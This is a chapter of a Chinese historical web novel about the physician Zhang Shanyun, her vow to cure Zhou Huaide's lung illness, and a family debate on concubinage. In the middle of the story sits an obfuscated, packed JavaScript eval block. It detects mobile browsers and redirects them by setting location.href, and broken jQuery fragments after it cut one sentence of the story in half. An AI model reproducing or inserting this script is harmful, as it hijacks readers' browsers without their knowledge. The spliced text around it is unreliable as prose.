77. 他的真心14

作品:《女名医成长手册

    张善云的书房是周怀德一手安置的,所以她入住之后,一件摆设都不舍得变动,仍然维持着最初的模样。


    屋里的炭盆烧得暖暖的,给风尘仆仆的路人终于归家之感。


    “怀德哥哥,你坐。”善云从柜子里拿出一个新的药包交给周怀德,“这是我给你做的新的药包,加了药材,除了可以在哮喘发作时用,还有温补功效,对肺劳有一定的效果。”


    周怀德笑笑,“好。谢谢。”


    就在刚才,善云到杨家去的时候,张升照告诉他,他在不久之前刚刚经历过一场豪赌,只是可惜,他没有赌赢的幸运。最后张升照说:“怀德,你和我不同,你的筹码很足。”


    可是他能有多少时间可以拿来投注呢?


    张善云也坐下来,两人各自坐在圈椅上,女使退到门外守着,屋里只剩下他们安静的对坐。直到善云开了口:“怀德哥哥,你之前给了我那么多钱和铺面,这些我不能拿。”


    周怀德眨着眼,视线氤氲:“这笔钱,本就该是给你的,不论以何种形式。我自知自己这一辈子,不会向任何人提亲,也不会有子女。其实那些铺子和田地,是我母亲的私产。她过世之前,将它们都交给了我。那些钱,是她为我存的聘礼钱。”


    善云停顿在那里,她能猜到这些钱不是周怀德自己攒的俸禄,却未曾想是他过世的母亲留给他的,并且有这样郑重的承诺意义。


    他一说完,善云只觉得心口揪起来。


    她素来知道,周怀德出手慷慨,不爱置产,也从不攒钱。他把母亲留下来的私产都送给了她,却不置屋院,不取妻妾,不给自己留余地,他是在等死。


    想到这一点,张善云开口的语气提高了半分:“你把母亲给你的聘礼送给我,却不送金钗给我。怀德哥哥,你这样是否太潦草了事了呢!”


    他凝神看她,“我这样的人,即使打了金钗,不论送给谁,却都是辜负。”


    张善云道:“如果我说,你的肺劳与哮喘,我可以治愈,你信我吗?”


    张善云神情坚毅,话语间未见任何犹疑。


    周怀德一凛,不可置信地岔开视线。这个提问如同排山倒海的热浪席卷了他,顷刻间只觉得浑身滚烫,胸口、脸庞都泛起燥热。


    这是他从来不敢想的问题。他一直在逃避所有关于生死的问题。


    “相信我,怀德哥哥,只要有我在,这三年,一定能治好你。”


    “我信你,三妹妹。”周怀德深吸了一口气,一瞬间笑了,仿佛沉重的心口巨石瞬间被粉碎,整个人都是飘的。


    *


    这个年节过得并不太平,正月初一到初五是本该休憩的日子,官府对庶民开放关扑的禁令,大家也在家玩玩投钱或者六博一类的小游戏,以作小赌怡情,可是张家笼罩在一层阴云浓雾里。


    高淑英一边心系痈疽重症的堂妹,一方面又不放心有孕在身的女儿,怕将痈疽邪症传给女儿,所以这个年节一直留在杨家看顾,张娇云回娘家,也没有和母亲见上面。


    刚过正月,张娇云到医馆抓药,坐在张善云对面吃着蜜煎。善云伏在书案上写着方子,边写边劝她:“少吃点,这些蜜煎吃多了只长大人,不长孩子。”


    “那我可离不开他们,这个年节吐得我可惨,全靠这些蜜煎过活呢。”娇云把手里的蜜煎纸包放在桌上,“也不知道表姨母那里怎么样。”


    张升煦自从闪了腰之后干不了重活,过完年后开始到张善云的医馆来帮工了,此刻正帮阮清一起在门口煎药,听叫自己妹妹的话,把头探到里间,看着两姐妹:“你放心,娘一切都好呢。早上我刚去过杨家问了,说是表姨母都好转了不少,烧都退了,都能下地活动了。”


    娇云并不知晓痈疽的凶险,家里怕她担心,只说是普通内症,只是杨家两个大夫都是男子,终究不便,所以娘才去了杨家照顾。


    她冲自己哥哥摆摆手,眼神嫌弃:“知道了哥,你别再闪了腰,快转过去。”


    张升煦耸耸肩,又回头给炉子扇风。娇云扑在桌上,倾向善云问:“大嫂给大哥哥物色那两个妾室来了吗?人怎么样?”


    善云嗯了一声,“刚来才几天,哪里看得出人怎么样。只听说一个是读书人家的姑娘,家里爹爹还在世时跟着读过书,看起来挺老实本分的。另一个相貌漂亮,听说原来在一家员外府上服侍的,后来被放了良出来了。”


    娇云啧啧了一声,“嫂嫂真有本事,这样两个人教我可是不敢收进房服侍自家官人的。”


    善云抬起头:“怎么这么说?你那婆母逼你给姐夫纳妾了?”


    “说了不知道多少次了,想起来我就气。本来大郎也说不想纳妾,结果我那婆母偏就说个没完了,天天差人来我房里叫我去回话,去了就说物色了哪哪家的姑娘,为人本分厚道,家里穷不得已,愿意卖身我家做妾。”


    说着,张娇云拍了一下桌子,“都不晓得她从哪招来的牙人,这么有本事,能寻到那么多家穷卖身的。现在大郎都不反驳我婆母了,我看我就要顶不住了,保不准今天回去家里就多了个陌生小蹄子。”


    外头的张升煦听到了,起身走到她们这来:“娇云,你都已经嫁人了,女子本分是服侍官人,张罗妾室也该是大娘子的本分,别落个无德善妒的名声。况且,你对大哥当时要纳妾的时候不也挺支持的,怎么到自己身上就这个态度?”


    娇云瞪他一眼,“哥哥,你这话说的,到底我是你亲妹妹,还是刘世韬才是你亲弟弟啊?你怎么帮着他说话?”


    张升煦哼了一声:“虽然你是我妹妹,但我帮理不帮亲。”


    “醒醒吧,哥哥,你以为现在还是前朝吗?大宋朝的女性不吃这一套。”娇云哼了一声,转向张善云道:“我也不是要和这些规矩礼俗作对,大概我是小地方的穷人家出来的女儿,没习惯应天府这些有钱人家纳妾蓄妓这一套。在江宁的时候,整个东沟巷里,哪家人家里有个妾室啊。”


    娇云说完时,阮清走到门口来看药炉子,他们说的话她都听到了。


    她若有深意的看了张娇云一眼,向她点头致了意,然后走到门口蹲下来,掀起药罐盖子以木勺搅了搅汤药。


    张升煦见阮清来,又回到廊下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737832|141199||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拿起扇子,哪知阮清立刻往边上挪了挪。


    他觉得有些不妥,问她:“怎么了?阮娘子,你也觉得我说的不对?”


    方才张升煦那些话她都听到了。这大半个月的相处,她知晓张升煦是个本分厚道之人,也有他自己一套关于公平道义的认知。可是他信奉的公平道义,是男子观念里的公平,比如他曾经见到她的前夫殴打她,觉得这样不对,有失公平;但他也认可,妻子应当侍奉丈夫,为夫君纳妾。


    这套道义说起来好像没什么不对,但是又让她觉得不甘心,有种别扭的割裂感。


    阮清最后摇了摇头,没有睬他。


    娇云往善云面前挥了挥手,“善娘,你怎么看?”


    张善云两手放在桌面上,手指相叠起来,视线扫了一圈张升煦和阮清。“前朝女子受到束缚多,可是安史之乱发生之前,其实女子地位甚高,婚礼之时女子不跪地,男子跪地,从皇族起至士大夫阶层,婚后丈夫都遵从妻子意愿,不敢随意纳妾。你知道是为什么吗?”


    “为何?”娇云代替另二人问了出来,药炉边的两人全神贯注,也在看着张善云。


    张善云道:“前朝高宗、中宗、睿宗时期,女子参政不在少数。世井女子也得到启发,走出家门经营酒肆、纺布鬻衣,使得她们即便没有拥有丰厚的嫁妆,仍然能有丰厚的收入。她们随时敢于抗衡不公的待遇,也不惧为自己发声。这是地位和钱财带给前朝女子的公平。”


    娇云一拍手,“说得好,我大宋朝崇尚女子厚嫁,不也是女子在以丰厚的嫁妆为自己争取公平?”


    “可以这样理解。大宋女子经济地位攀升,在家中的做主权也在变。依附于人时,本就处于不公平的地位,又从何而来公平一说呢?”


    张善云又道:


    “不过对妾室而言是不公平,但有时候对现实的妥协,是在没有其余选择时候的最优解。对正室娘子也是如此,就比如咱们嫂嫂,能屈能伸是她的智慧,你觉得不公平,她自己愿意不就行了。”


    说完,善云拿着药方站起来:“我去给你抓药。”


    “我去吧,东家。”阮清放下手里的东西过来拿药方,善云点头递给了她,然后和张娇云说:“堂姐,一会儿我要去二姐姐那里拿东西,我顺路先送你回家吧?”


    “你去二姐姐那吃饭吗?那我也要去。我好久没吃她做的菜了。”


    “我不在她那里吃,明天是二月二,二姐姐接下了几个挑菜宴的席面,今天要准备,也没空招呼我们。”善云的视线移开些,嘴角有些不自然的上翘。“我在肴楼订了椿根馄饨,拿了就走。”


    “你怎么吃这么素?”


    张娇云问。


    “你怎么问这么多?”


    张善云答。


    娇云的眉毛轻轻一挑,笑得高深。“明天二月初二挑菜节,要不要一块去挖些马齿苋和荠菜?我叫惜月给你包成馄饨。椿根馄饨不应季,丁忧的人最适宜吃的还是荠菜馄饨了。”


    “说什么呢!”善云白她一眼,“你还要坐我的车吗?”


    “当然,走。”